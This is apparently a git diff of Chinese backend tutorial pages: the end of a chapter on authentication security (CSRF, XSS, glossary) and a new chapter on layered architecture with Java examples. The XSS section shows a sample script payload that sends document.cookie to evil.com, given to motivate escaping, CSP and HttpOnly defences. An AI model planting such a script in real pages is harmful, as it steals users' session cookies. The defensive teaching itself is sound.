||||
# 执行转账
|
||||
...
|
||||
```
|
||||
|
||||
2. **SameSite Cookie**：
|
||||
- 设置 Cookie 的 `SameSite` 属性为 `Strict` 或 `Lax`。
|
||||
|
||||
```python
|
||||
# Flask 示例
|
||||
app.config.update(
|
||||
SESSION_COOKIE_SAMESITE='Lax', # 或 'Strict'
|
||||
SESSION_COOKIE_SECURE=True # 只允许 HTTPS
|
||||
)
|
||||
```
|
||||
|
||||
3. **使用 JWT（不用 Cookie）**：
|
||||
- JWT 存在 `localStorage`，不会自动带上，天然防 CSRF。
|
||||
|
||||
<CSRFDefenseDemo />
|
||||
|
||||
### 5.4 防 XSS (Cross-Site Scripting)
|
||||
|
||||
**攻击场景**：
|
||||
恶意用户在评论区输入：
|
||||
|
||||
```html
|
||||
<script>
|
||||
fetch('https://evil.com/steal?cookie=' + document.cookie)
|
||||
</script>
|
||||
```
|
||||
|
||||
如果网站直接渲染这段内容，其他用户的 Cookie 就会被盗走。
|
||||
|
||||
**防御措施**：
|
||||
|
||||
1. **输出转义**：
|
||||
- 把 `<` 转成 `<`，`>` 转成 `>`。
|
||||
|
||||
```python
|
||||
import html
|
||||
|
||||
def render_comment(comment):
|
||||
# 转义 HTML
|
||||
safe_comment = html.escape(comment)
|
||||
return f"<div class='comment'>{safe_comment}</div>"
|
||||
```
|
||||
|
||||
2. **Content Security Policy (CSP)**：
|
||||
- 设置 HTTP 头，限制脚本来源。
|
||||
|
||||
```http
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
|
||||
```
|
||||
|
||||
3. **HttpOnly Cookie**：
|
||||
- 设置 Cookie 的 `HttpOnly` 属性，JavaScript 无法读取。
|
||||
|
||||
```python
|
||||
app.config.update(
|
||||
SESSION_COOKIE_HTTPONLY=True
|
||||
)
|
||||
```
|
||||
|
||||
<XSSDefenseDemo />
|
||||
|
||||
---
|
||||
|
||||
## 6. 总结与学习路线
|
||||
|
||||
鉴权是后端系统的"基本功"，掌握了它才能构建安全可靠的应用。
|
||||
|
||||
### 6.1 核心知识点
|
||||
|
||||
| 知识点 | 重要程度 | 难度 | 实战频率 |
|
||||
| :-------------------- | :--------- | :--- | :------- |
|
||||
| **Session + Cookie** | ⭐⭐⭐⭐ | 中 | 高 |
|
||||
| **JWT** | ⭐⭐⭐⭐⭐ | 低 | 极高 |
|
||||
| **OAuth 2.0** | ⭐⭐⭐⭐ | 高 | 高 |
|
||||
| **密码哈希 (bcrypt)** | ⭐⭐⭐⭐⭐ | 低 | 极高 |
|
||||
| **限流与防暴力破解** | ⭐⭐⭐⭐⭐ | 中 | 极高 |
|
||||
| **CSRF 防御** | ⭐⭐⭐⭐ | 中 | 中 |
|
||||
| **XSS 防御** | ⭐⭐⭐⭐ | 低 | 高 |
|
||||
|
||||
### 6.2 学习路线
|
||||
|
||||
1. **入门**（1-2 天）：
|
||||
- 理解认证 vs 授权。
|
||||
- 掌握 Session + Cookie 的原理。
|
||||
- 实现一个简单的登录注册功能。
|
||||
|
||||
2. **进阶**（1 周）：
|
||||
- 学习 JWT 的原理和实现。
|
||||
- 实现基于 JWT 的鉴权系统。
|
||||
- 掌握密码哈希（bcrypt）。
|
||||
|
||||
3. **实战**（2-4 周）：
|
||||
- 集成 OAuth 2.0（微信、Google 登录）。
|
||||
- 实现限流、防暴力破解。
|
||||
- 防御 CSRF、XSS 等常见攻击。
|
||||
|
||||
4. **深入**（持续）：
|
||||
- 学习 RBAC（基于角色的访问控制）。
|
||||
- 研究 SSO（单点登录）。
|
||||
- 探索 Zero Trust Architecture（零信任架构）。
|
||||
|
||||
### 6.3 推荐资源
|
||||
|
||||
- **标准**：
|
||||
- RFC 6749 (OAuth 2.0)
|
||||
- RFC 7519 (JWT)
|
||||
- **文章**：
|
||||
- JWT.io: https://jwt.io/
|
||||
- OAuth 2.0 简体中文版: https://oauth.net/2/
|
||||
- **工具**：
|
||||
- jwt.io (JWT 在线调试)
|
||||
- Postman (API 测试)
|
||||
|
||||
---
|
||||
|
||||
## 7. 名词速查表 (Glossary)
|
||||
|
||||
| 名词 | 全称 | 解释 |
|
||||
| :---------------- | :-------------------------- | :--------------------------------------------------------------------------------- |
|
||||
| **AuthN** | Authentication | **认证**。确认"你是谁"（如输入密码验证身份）。 |
|
||||
| **AuthZ** | Authorization | **授权**。确认"你能干什么"（如管理员才能删除）。 |
|
||||
| **Session** | - | **会话**。服务端存储的用户状态信息。 |
|
||||
| **Cookie** | - | **小甜饼**。浏览器存储的小段数据，每次请求都会自动带上。 |
|
||||
| **JWT** | JSON Web Token | **JSON Web 令牌**。一种无状态的认证方案，包含 Header、Payload、Signature 三部分。 |
|
||||
| **OAuth 2.0** | - | **开放授权**。第三方登录的标准化框架（如"用微信登录"）。 |
|
||||
| **SSO** | Single Sign-On | **单点登录**。登录一次，就可以访问多个应用（如 Google 账号登录所有 Google 服务）。 |
|
||||
| **RBAC** | Role-Based Access Control | **基于角色的访问控制**。根据用户的角色（如 admin、user）决定权限。 |
|
||||
| **CSRF** | Cross-Site Request Forgery | **跨站请求伪造**。攻击者诱导用户发送恶意请求（如用你的 Cookie 发起转账）。 |
|
||||
| **XSS** | Cross-Site Scripting | **跨站脚本攻击**。攻击者在网页注入恶意脚本（如盗取 Cookie）。 |
|
||||
| **bcrypt** | - | **密码哈希算法**。一种慢哈希算法，专门用于密码存储，防暴力破解。 |
|
||||
| **Access Token** | - | **访问令牌**。短期有效的令牌，用于访问 API。 |
|
||||
| **Refresh Token** | - | **刷新令牌**。长期有效的令牌，用于获取新的 Access Token。 |
|
||||
| **Scope** | - | **权限范围**。OAuth 2.0 中的概念，表示第三方应用请求的权限（如读取用户信息）。 |
|
||||
| **PKCE** | Proof Key for Code Exchange | **授权码交换的证明密钥**。OAuth 2.0 的扩展，用于公共客户端（如 SPA）的安全增强。 |
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,869 @@
|
||||
# 后端分层架构
|
||||
::: tip 🎯 核心问题
|
||||
**代码越写越乱,怎么组织才能清晰易懂?** 这就像问:你是把所有食材、厨具、调料都扔在一个抽屉里,还是用橱柜、冰箱、抽屉分类摆放?分层架构就是让代码"物归其位"的方法。
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 1. 为什么要分层?
|
||||
|
||||
### 1.1 从混乱到整洁
|
||||
|
||||
很多初学者在刚开始写后端代码时,都会遇到这样的困惑:
|
||||
|
||||
- **刚开始**:写一个用户注册接口,100行代码搞定,感觉挺简单
|
||||
- **三个月后**:业务越来越复杂,一个文件500行,改一行代码怕影响其他地方
|
||||
- **半年后**:来了新同事,看着代码发愁:"这个接口到底干了多少事?"
|
||||
|
||||
**问题的本质**:代码没有"章法",所有的逻辑都堆在一起,就像把食材、厨具、调料都扔在一个抽屉里。
|
||||
|
||||
<LayeredArchitectureDemo />
|
||||
|
||||
### 1.2 分层的思想:把抽屉换成橱柜
|
||||
|
||||
想象一下厨房的组织方式:
|
||||
|
||||
| 区域 | 存放物品 | 特点 |
|
||||
| -------- | ------------------ | ------------ |
|
||||
| **吊柜** | 不常用的锅具、囤货 | 取用最不方便 |
|
||||
| **台面** | 正在处理的食材 | 临时操作区 |
|
||||
| **抽屉** | 分类摆放的餐具 | 按需取用 |
|
||||
| **冰箱** | 生鲜食材 | 有保鲜条件 |
|
||||
|
||||
**分层架构**就是把代码也这样组织:每一层只关心自己的职责,层与层之间通过明确的"接口"交互,而不是随意互相调用。
|
||||
|
||||
::: tip 💡 通俗比喻:餐厅的分工
|
||||
把后端系统想象成一家餐厅:
|
||||
|
||||
- **Controller(控制器)** = 前厅接待员:迎接客人、接单、上菜
|
||||
- **Service(业务逻辑)** = 厨师:按照菜谱做菜,协调各个帮厨
|
||||
- **Repository(数据访问)** = 仓管员:从仓库取食材、存放剩余食材
|
||||
- **Domain(领域模型)** = 菜谱标准:定义宫保鸡丁是什么、用什么食材、什么口味
|
||||
|
||||
**关键点**:每个角色只做自己的事,不会越界。接待员不会自己跑进厨房炒菜,仓管员不会修改菜谱。
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 2. 四层架构的职责划分
|
||||
|
||||
### 2.1 四层架构概览
|
||||
|
||||
典型的后端分层架构包含四个核心层次:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────┐
|
||||
│ Controller 层(控制器层) │ ← 接待员:接收请求,初步检查
|
||||
│ - 接收 HTTP 请求 │
|
||||
│ - 参数校验 │
|
||||
│ - 调用 Service │
|
||||
│ - 返回响应 │
|
||||
├─────────────────────────────────────┤
|
||||
│ Service 层(业务逻辑层) │ ← 厨师:处理核心业务
|
||||
│ - 业务逻辑编排 │
|
||||
│ - 事务管理 │
|
||||
│ - 调用 Repository │
|
||||
│ - 跨模块协调 │
|
||||
├─────────────────────────────────────┤
|
||||
│ Repository 层(数据访问层) │ ← 仓管员:管理数据存取
|
||||
│ - 数据库操作 │
|
||||
│ - ORM 映射 │
|
||||
│ - 查询封装 │
|
||||
├─────────────────────────────────────┤
|
||||
│ Domain 层(领域模型层) │ ← 菜谱标准:定义业务概念
|
||||
│ - 实体(Entity) │
|
||||
│ - 值对象(Value Object) │
|
||||
│ - 业务规则 │
|
||||
└─────────────────────────────────────┘
|
||||
```
|
||||
|
||||
::: tip 📊 从图解中你能看到什么?
|
||||
**自上而下**:从"接近用户"到"接近数据"
|
||||
|
||||
- **Controller**:最接近前端,处理HTTP协议相关的事情
|
||||
- **Service**:核心业务逻辑,但不关心数据怎么存、HTTP怎么传
|
||||
- **Repository**:只关心数据怎么存取,不关心业务含义
|
||||
- **Domain**:最核心的业务概念,所有层都依赖它
|
||||
|
||||
**依赖方向**:
|
||||
|
||||
```
|
||||
Controller → Service → Repository
|
||||
↓
|
||||
Domain(核心,不依赖任何层)
|
||||
```
|
||||
|
||||
这符合"依赖倒置原则":高层模块不应依赖低层模块的具体实现,而应依赖抽象(Domain)。
|
||||
:::
|
||||
|
||||
### 2.2 Controller 层:请求的"接待员"
|
||||
|
||||
<ControllerLayerDemo />
|
||||
|
||||
**职责**:
|
||||
|
||||
- 接收 HTTP 请求,解析参数
|
||||
- 进行基础的参数校验(格式、必填等)
|
||||
- 调用 Service 层执行业务逻辑
|
||||
- 封装响应,返回给客户端
|
||||
|
||||
**不该做的事**:
|
||||
|
||||
- ❌ 在这里写业务逻辑
|
||||
- ❌ 直接操作数据库
|
||||
- ❌ 处理事务
|
||||
|
||||
**类比**:就像餐厅的门童,负责迎接客人、检查预约、引导入座,但不负责做菜。
|
||||
|
||||
::: details 📋 实际代码示例
|
||||
|
||||
```java
|
||||
@RestController
|
||||
@RequestMapping("/api/users")
|
||||
public class UserController {
|
||||
|
||||
private final UserService userService;
|
||||
|
||||
// ✅ 正确:Controller 只负责接收请求和返回响应
|
||||
@PostMapping
|
||||
public ResponseEntity<UserDTO> createUser(
|
||||
@RequestBody @Valid UserCreateRequest request) {
|
||||
// 1. Request DTO → Param DTO
|
||||
UserCreateParam param = UserCreateParam.builder()
|
||||
.username(request.getUsername())
|
||||
.password(encryptPassword(request.getPassword()))
|
||||
.email(request.getEmail())
|
||||
.build();
|
||||
|
||||
// 2. 调用 Service
|
||||
User user = userService.createUser(param);
|
||||
|
||||
// 3. Entity → Response DTO
|
||||
UserDTO response = UserDTO.builder()
|
||||
.id(user.getId())
|
||||
.username(user.getUsername())
|
||||
.email(user.getEmail())
|
||||
.build();
|
||||
|
||||
return ResponseEntity.status(HttpStatus.CREATED).body(response);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**关键点**:
|
||||
|
||||
- 用 `@Valid` 自动校验参数格式
|
||||
- 用 DTO(Data Transfer Object)隔离前后端数据结构
|
||||
- 不包含任何业务逻辑,只做"翻译"和"调度"
|
||||
:::
|
||||
|
||||
### 2.3 Service 层:业务逻辑的"厨师"
|
||||
|
||||
<ServiceLayerDemo />
|
||||
|
||||
**职责**:
|
||||
|
||||
- 实现核心业务逻辑
|
||||
- 编排多个 Repository 的操作
|
||||
- 管理事务边界(@Transactional)
|
||||
- 处理跨模块的业务协调
|
||||
|
||||
**不该做的事**:
|
||||
|
||||
- ❌ 直接写 SQL(交给 Repository)
|
||||
- ❌ 处理 HTTP 相关的事情
|
||||
- ❌ 返回数据库实体给 Controller
|
||||
|
||||
**类比**:就像厨师按照菜谱做菜,需要协调各种食材(数据),把控菜品质量(业务正确性)。
|
||||
|
||||
::: details 📋 实际代码示例
|
||||
|
||||
```java
|
||||
@Service
|
||||
@RequiredArgsConstructor
|
||||
public class UserService {
|
||||
|
||||
private final UserRepository userRepository;
|
||||
private final EmailService emailService;
|
||||
|
||||
// ✅ 正确:Service 封装业务逻辑
|
||||
@Transactional
|
||||
public User createUser(UserCreateParam param) {
|
||||
// 1. 业务规则:检查用户名是否重复
|
||||
if (userRepository.existsByUsername(param.getUsername())) {
|
||||
throw new UserAlreadyExistsException();
|
||||
}
|
||||
|
||||
// 2. 创建用户实体
|
||||
User user = new User();
|
||||
user.setUsername(param.getUsername());
|
||||
user.setPassword(param.getPassword()); // 已经加密
|
||||
user.setEmail(param.getEmail());
|
||||
|
||||
// 3. 保存到数据库
|
||||
userRepository.save(user);
|
||||
|
||||
// 4. 发送欢迎邮件(跨模块协调)
|
||||
emailService.sendWelcomeEmail(user);
|
||||
|
||||
return user;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**关键点**:
|
||||
|
||||
- 用 `@Transactional` 保证事务一致性
|
||||
- 抛出业务异常,让 Controller 统一处理
|
||||
- 不依赖 HTTP 概念,可以复用(如定时任务调用)
|
||||
:::
|
||||
|
||||
### 2.4 Repository 层:数据的"仓管员"
|
||||
|
||||
<RepositoryLayerDemo />
|
||||
|
||||
**职责**:
|
||||
|
||||
- 封装所有数据访问逻辑
|
||||
- 执行 CRUD 操作
|
||||
- 处理 ORM 映射
|
||||
- 封装查询条件
|
||||
|
||||
**不该做的事**:
|
||||
|
||||
- ❌ 写业务逻辑
|
||||
- ❌ 处理事务(Service 层管理)
|
||||
- ❌ 依赖上层模块
|
||||
|
||||
**类比**:就像餐厅的仓管员,负责从仓库取食材、存放剩余食材。厨师只需要告诉仓管员要什么,不需要知道仓库在哪、怎么取。
|
||||
|
||||
::: details 📋 实际代码示例
|
||||
|
||||
```java
|
||||
@Repository
|
||||
public interface UserRepository extends JpaRepository<User, Long> {
|
||||
|
||||
// ✅ Spring Data JPA 自动实现
|
||||
Optional<User> findByUsername(String username);
|
||||
|
||||
boolean existsByUsername(String username);
|
||||
|
||||
// ✅ 自定义复杂查询
|
||||
@Query("SELECT u FROM User u WHERE u.email = :email AND u.deleted = false")
|
||||
Optional<User> findActiveByEmail(@Param("email") String email);
|
||||
}
|
||||
```
|
||||
|
||||
**关键点**:
|
||||
|
||||
- Repository 是接口,不包含业务逻辑
|
||||
- 用方法名表达查询意图,不需要写实现
|
||||
- 可以用 `@Query` 自定义复杂查询
|
||||
:::
|
||||
|
||||
### 2.5 Domain 层:领域模型的"蓝图"
|
||||
|
||||
<DomainModelDemo />
|
||||
|
||||
**职责**:
|
||||
|
||||
- 定义业务实体(Entity)
|
||||
- 定义值对象(Value Object)
|
||||
- 封装业务规则
|
||||
- 作为所有层的共同依赖
|
||||
|
||||
**重要特性**:
|
||||
|
||||
- Domain 层不依赖任何其他层
|
||||
- 所有层都依赖 Domain 层
|
||||
- 是分层架构的基础
|
||||
|
||||
**类比**:就像餐厅的菜单和菜品标准,定义了什么是"宫保鸡丁"、用什么食材、什么口味。所有厨师都要按照这个标准来做。
|
||||
|
||||
::: details 📋 实际代码示例
|
||||
|
||||
```java
|
||||
// ✅ 实体(Entity):有唯一标识的业务对象
|
||||
@Entity
|
||||
@Table(name = "users")
|
||||
public class User {
|
||||
|
||||
@Id
|
||||
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||
private Long id;
|
||||
|
||||
@Column(unique = true, nullable = false)
|
||||
private String username;
|
||||
|
||||
@Column(nullable = false)
|
||||
private String password;
|
||||
|
||||
@Column(nullable = false)
|
||||
private String email;
|
||||
|
||||
// ✅ 业务方法:封装业务规则
|
||||
public boolean isPasswordCorrect(String rawPassword) {
|
||||
return BCrypt.checkpw(rawPassword, this.password);
|
||||
}
|
||||
|
||||
public void changePassword(String oldPassword, String newPassword) {
|
||||
if (!isPasswordCorrect(oldPassword)) {
|
||||
throw new IncorrectPasswordException();
|
||||
}
|
||||
this.password = BCrypt.hashpw(newPassword);
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 值对象(Value Object):通过属性值判断相等
|
||||
@Embeddable
|
||||
public class Email {
|
||||
|
||||
@Column(nullable = false)
|
||||
private String address;
|
||||
|
||||
public Email(String address) {
|
||||
if (!isValidEmail(address)) {
|
||||
throw new InvalidEmailException();
|
||||
}
|
||||
this.address = address;
|
||||
}
|
||||
|
||||
private boolean isValidEmail(String address) {
|
||||
return address.matches("^[A-Za-z0-9+_.-]+@(.+)$");
|
||||
}
|
||||
|
||||
// ✅ 值对象不通过ID判断相等,而是通过属性值
|
||||
@Override
|
||||
public boolean equals(Object o) {
|
||||
if (this == o) return true;
|
||||
if (!(o instanceof Email)) return false;
|
||||
return address.equals(((Email) o).address);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**关键点**:
|
||||
|
||||
- Entity 有唯一标识,Value Object 通过属性值判断相等
|
||||
- 业务规则封装在 Domain 对象中,而不是散落在 Service 层
|
||||
- Domain 层是纯粹的业务逻辑,不依赖框架
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 3. DTO:层与层之间的"翻译官"
|
||||
|
||||
### 3.1 为什么需要 DTO?
|
||||
|
||||
<DtoFlowDemo />
|
||||
|
||||
想象一下:如果 Controller 直接把数据库实体(Entity)返回给前端,会发生什么?
|
||||
|
||||
```java
|
||||
// ❌ 错误的做法
|
||||
@Entity
|
||||
public class User {
|
||||
@Id
|
||||
private Long id;
|
||||
private String username;
|
||||
private String password; // 敏感信息!
|
||||
private String phone;
|
||||
private String email;
|
||||
private LocalDateTime createdAt;
|
||||
private Boolean isDeleted; // 内部字段!
|
||||
}
|
||||
|
||||
// 如果直接返回这个实体...
|
||||
// 前端会收到 password、isDeleted 等不应该暴露的字段
|
||||
```
|
||||
|
||||
::: tip 💡 通俗解释
|
||||
**DTO**(Data Transfer Object,数据传输对象)就像"菜单翻译":
|
||||
|
||||
- 厨师的菜谱(Domain Entity)包含:食材清单、烹饪步骤、火候、摆盘要求
|
||||
- 给客人看的菜单(Controller Response DTO)只包含:菜名、价格、图片、简介
|
||||
|
||||
**为什么要翻译**:
|
||||
|
||||
1. **安全**:不能把"后厨秘密"(如密码、删除标记)暴露给客人
|
||||
2. **简化**:客人只关心"这道菜是什么",不关心"怎么做的"
|
||||
3. **灵活**:同一道菜,堂食菜单和外卖菜单显示的内容可以不同
|
||||
:::
|
||||
|
||||
**DTO 的作用**:
|
||||
|
||||
- **解耦**:隔离数据库实体和 API 契约
|
||||
- **安全**:控制暴露的字段,避免泄露敏感信息
|
||||
- **灵活**:可以为不同场景定义不同的 DTO
|
||||
- **性能**:避免加载不必要的数据
|
||||
|
||||
### 3.2 不同层的 DTO 职责
|
||||
|
||||
| 层级 | DTO 类型 | 职责 | 示例 |
|
||||
| -------------- | ---------------------- | ------------------------------------------- | ------------------- |
|
||||
| **Controller** | Request / Response DTO | 定义 API 契约、参数校验、序列化 | `UserCreateRequest` |
|
||||
| **Service** | Param / Result DTO | 封装业务方法参数,解耦 Controller 与 Service | `UserCreateParam` |
|
||||
| **Repository** | Entity / DO | 映射数据库表结构,ORM 映射 | `UserEntity` |
|
||||
|
||||
---
|
||||
|
||||
## 4. 依赖方向:分层架构的铁律
|
||||
|
||||
### 4.1 依赖倒置原则(DIP)
|
||||
|
||||
<DependencyDirectionDemo />
|
||||
|
||||
分层架构的核心规则:**上层模块不应依赖下层模块的具体实现,而应依赖于抽象。**
|
||||
|
||||
::: tip 💡 通俗解释
|
||||
**依赖倒置**(Dependency Inversion Principle):
|
||||
|
||||
**错误的做法**(依赖实现):
|
||||
|
||||
```
|
||||
Controller → UserServiceImpl → UserDaoImpl → UserEntity
|
||||
```
|
||||
|
||||
问题:
|
||||
|
||||
1. 每层都耦合了具体实现,换个实现要改很多代码
|
||||
2. 测试困难,Mock 需要修改实现类
|
||||
|
||||
**正确的做法**(依赖抽象):
|
||||
|
||||
```
|
||||
Controller → IUserService(接口) → IUserDao(接口) → UserEntity
|
||||
```
|
||||
|
||||
好处:
|
||||
|
||||
1. 上层只依赖接口,不关心实现
|
||||
2. 换实现只需改配置(如从 MySQL 换到 PostgreSQL)
|
||||
3. 容易 Mock 测试
|
||||
|
||||
**比喻**:
|
||||
|
||||
- ❌ 错误:你只去某家特定的超市买东西,超市关门你就买不到
|
||||
- ✅ 正确:你定义"买东西"这个接口,可以去任何超市实现
|
||||
:::
|
||||
|
||||
### 4.2 正确的依赖方向
|
||||
|
||||
```
|
||||
✅ 正确的依赖方向:
|
||||
|
||||
Controller → Service 接口 → Repository 接口 → Domain
|
||||
↑ ↑ ↑ ↑
|
||||
└-----------└----------------└--------------┘
|
||||
所有层都依赖 Domain,Domain 不依赖任何层
|
||||
|
||||
❌ 禁止的做法:
|
||||
- Service 直接依赖 Repository 实现
|
||||
- Controller 直接操作数据库
|
||||
- Domain 依赖 Service 或 Repository
|
||||
- 层与层之间形成循环依赖
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 实战案例:电商订单系统的分层实现
|
||||
|
||||
### 5.1 需求场景
|
||||
|
||||
实现一个电商订单创建功能:
|
||||
|
||||
- 用户选择商品,确认订单信息
|
||||
- 系统检查库存
|
||||
- 计算订单金额(商品价格 + 运费 - 优惠)
|
||||
- 创建订单记录
|
||||
- 扣减库存
|
||||
- 返回订单信息
|
||||
|
||||
::: details 📋 完整的四层代码
|
||||
**1. Domain 层:领域模型**
|
||||
|
||||
```java
|
||||
// 订单实体
|
||||
@Entity
|
||||
public class Order {
|
||||
@Id
|
||||
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||
private Long id;
|
||||
|
||||
private Long userId;
|
||||
private List<OrderItem> items = new ArrayList<>();
|
||||
@Embedded
|
||||
private Money totalAmount;
|
||||
private OrderStatus status = OrderStatus.PENDING_PAYMENT;
|
||||
private LocalDateTime createdAt = LocalDateTime.now();
|
||||
|
||||
// ✅ 业务方法:计算订单总金额
|
||||
public void calculateTotal() {
|
||||
Money total = Money.zero();
|
||||
for (OrderItem item : items) {
|
||||
total = total.add(item.getSubTotal());
|
||||
}
|
||||
this.totalAmount = total;
|
||||
}
|
||||
|
||||
// ✅ 业务方法:取消订单
|
||||
public void cancel() {
|
||||
if (this.status != OrderStatus.PENDING_PAYMENT) {
|
||||
throw new IllegalStateException("只有待支付订单可以取消");
|
||||
}
|
||||
this.status = OrderStatus.CANCELLED;
|
||||
}
|
||||
}
|
||||
|
||||
// 值对象:金钱
|
||||
@Embeddable
|
||||
public class Money {
|
||||
private BigDecimal amount;
|
||||
private String currency;
|
||||
|
||||
public static Money zero() {
|
||||
return new Money(BigDecimal.ZERO, "CNY");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**2. Repository 层:数据访问**
|
||||
|
||||
```java
|
||||
@Repository
|
||||
public interface OrderRepository extends JpaRepository<Order, Long> {
|
||||
List<Order> findByUserIdOrderByCreatedAtDesc(Long userId);
|
||||
}
|
||||
|
||||
@Repository
|
||||
public interface ProductRepository extends JpaRepository<Product, Long> {
|
||||
// Spring Data JPA 自动实现
|
||||
}
|
||||
```
|
||||
|
||||
**3. Service 层:业务逻辑**
|
||||
|
||||
```java
|
||||
@Service
|
||||
@RequiredArgsConstructor
|
||||
public class OrderService {
|
||||
|
||||
private final OrderRepository orderRepository;
|
||||
private final ProductService productService;
|
||||
private final InventoryService inventoryService;
|
||||
|
||||
@Transactional
|
||||
public OrderDTO createOrder(OrderCreateParam param) {
|
||||
// 1. 验证商品并扣减库存
|
||||
List<OrderItem> items = new ArrayList<>();
|
||||
for (OrderItemParam itemParam : param.getItems()) {
|
||||
Product product = productService.getProduct(itemParam.getProductId());
|
||||
|
||||
boolean reserved = inventoryService.reserveStock(
|
||||
itemParam.getProductId(),
|
||||
itemParam.getQuantity()
|
||||
);
|
||||
if (!reserved) {
|
||||
throw new InsufficientStockException();
|
||||
}
|
||||
|
||||
OrderItem item = new OrderItem();
|
||||
item.setProductId(product.getId());
|
||||
item.setQuantity(itemParam.getQuantity());
|
||||
items.add(item);
|
||||
}
|
||||
|
||||
// 2. 创建订单
|
||||
Order order = new Order();
|
||||
order.setUserId(param.getUserId());
|
||||
for (OrderItem item : items) {
|
||||
order.addItem(item);
|
||||
}
|
||||
|
||||
// 3. 计算总价(调用 Domain 方法)
|
||||
order.calculateTotal();
|
||||
|
||||
// 4. 保存订单
|
||||
orderRepository.save(order);
|
||||
|
||||
return OrderDTO.from(order);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**4. Controller 层:API 入口**
|
||||
|
||||
```java
|
||||
@RestController
|
||||
@RequestMapping("/api/orders")
|
||||
@RequiredArgsConstructor
|
||||
public class OrderController {
|
||||
|
||||
private final OrderService orderService;
|
||||
|
||||
@PostMapping
|
||||
public ResponseEntity<OrderDTO> createOrder(
|
||||
@RequestBody @Valid OrderCreateRequest request,
|
||||
@AuthenticationPrincipal UserPrincipal user) {
|
||||
|
||||
// 1. Request → Param 转换
|
||||
OrderCreateParam param = OrderCreateParam.builder()
|
||||
.userId(user.getId())
|
||||
.items(request.getItems())
|
||||
.build();
|
||||
|
||||
// 2. 调用 Service
|
||||
OrderDTO order = orderService.createOrder(param);
|
||||
|
||||
// 3. 返回
|
||||
return ResponseEntity.status(HttpStatus.CREATED).body(order);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 6. 分层架构的演进:从混乱到整洁
|
||||
|
||||
### 6.1 初学者常犯的错误
|
||||
|
||||
::: details ❌ 错误一:Controller 里写业务逻辑
|
||||
|
||||
```java
|
||||
// ❌ 错误:Controller 里写了太多业务逻辑
|
||||
@RestController
|
||||
public class OrderController {
|
||||
|
||||
@Autowired private OrderRepository orderRepository;
|
||||
@Autowired private ProductRepository productRepository;
|
||||
|
||||
@PostMapping("/orders")
|
||||
public Order createOrder(@RequestBody CreateOrderRequest request) {
|
||||
// ❌ 太多的业务逻辑在这里...
|
||||
// 检查库存
|
||||
for (ItemRequest item : request.getItems()) {
|
||||
Product product = productRepository.findById(item.getProductId())
|
||||
.orElseThrow(() -> new RuntimeException("商品不存在"));
|
||||
|
||||
if (product.getStock() < item.getQuantity()) {
|
||||
throw new RuntimeException("库存不足");
|
||||
}
|
||||
}
|
||||
|
||||
// ❌ 直接操作数据库
|
||||
Order order = new Order();
|
||||
orderRepository.save(order);
|
||||
|
||||
return order;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**重构后**:
|
||||
|
||||
```java
|
||||
// ✅ Controller 只负责接收请求和返回响应
|
||||
@RestController
|
||||
public class OrderController {
|
||||
|
||||
@Autowired
|
||||
private OrderService orderService;
|
||||
|
||||
@PostMapping("/orders")
|
||||
public OrderDTO createOrder(@RequestBody @Valid CreateOrderRequest request) {
|
||||
OrderCreateParam param = OrderCreateParam.builder()
|
||||
.items(request.getItems())
|
||||
.build();
|
||||
|
||||
Order order = orderService.createOrder(param);
|
||||
|
||||
return OrderDTO.from(order);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
:::
|
||||
|
||||
::: details ❌ 错误二:循环依赖
|
||||
|
||||
```java
|
||||
// ❌ 错误:Service 之间相互调用,形成循环依赖
|
||||
@Service
|
||||
public class OrderService {
|
||||
@Autowired
|
||||
private PaymentService paymentService; // A 依赖 B
|
||||
}
|
||||
|
||||
@Service
|
||||
public class PaymentService {
|
||||
@Autowired
|
||||
private OrderService orderService; // B 又依赖 A - 循环!
|
||||
}
|
||||
```
|
||||
|
||||
**解决方案:使用事件驱动**
|
||||
|
||||
```java
|
||||
// ✅ 发布事件,而不是直接调用
|
||||
@Service
|
||||
public class OrderService {
|
||||
@Autowired
|
||||
private ApplicationEventPublisher eventPublisher;
|
||||
|
||||
public void payOrder(Long orderId, PaymentParam param) {
|
||||
Order order = orderRepository.findById(orderId).orElseThrow();
|
||||
order.pay(param.getPaymentMethod());
|
||||
orderRepository.save(order);
|
||||
|
||||
// ✅ 发布事件,解耦服务
|
||||
eventPublisher.publishEvent(new OrderPaidEvent(order));
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ PaymentService 监听事件
|
||||
@Service
|
||||
public class PaymentService {
|
||||
@EventListener
|
||||
@Transactional
|
||||
public void handleOrderPaid(OrderPaidEvent event) {
|
||||
// 处理支付相关逻辑
|
||||
createPaymentRecord(event);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 7. 分层架构 vs 整洁架构
|
||||
|
||||
<CleanArchitectureDemo />
|
||||
|
||||
### 7.1 两种架构的对比
|
||||
|
||||
| 特性 | 传统分层架构 | 整洁架构 |
|
||||
| ---------------- | -------------------- | ---------------------- |
|
||||
| **依赖方向** | 从上到下 | 从外到内 |
|
||||
| **核心业务位置** | Service 层 | Domain 层(中心) |
|
||||
| **框架依赖** | 较深(如 Spring) | 较浅(通过接口隔离) |
|
||||
| **可测试性** | 需要集成测试 | 核心可单元测试 |
|
||||
| **学习曲线** | 平缓 | 较陡 |
|
||||
| **适用场景** | 中小型项目、快速迭代 | 大型复杂业务、长期维护 |
|
||||
|
||||
::: tip 💡 核心区别
|
||||
**传统分层架构**:
|
||||
|
||||
- 依赖方向:Controller → Service → Repository → Domain
|
||||
- 框架(Spring)渗透到所有层
|
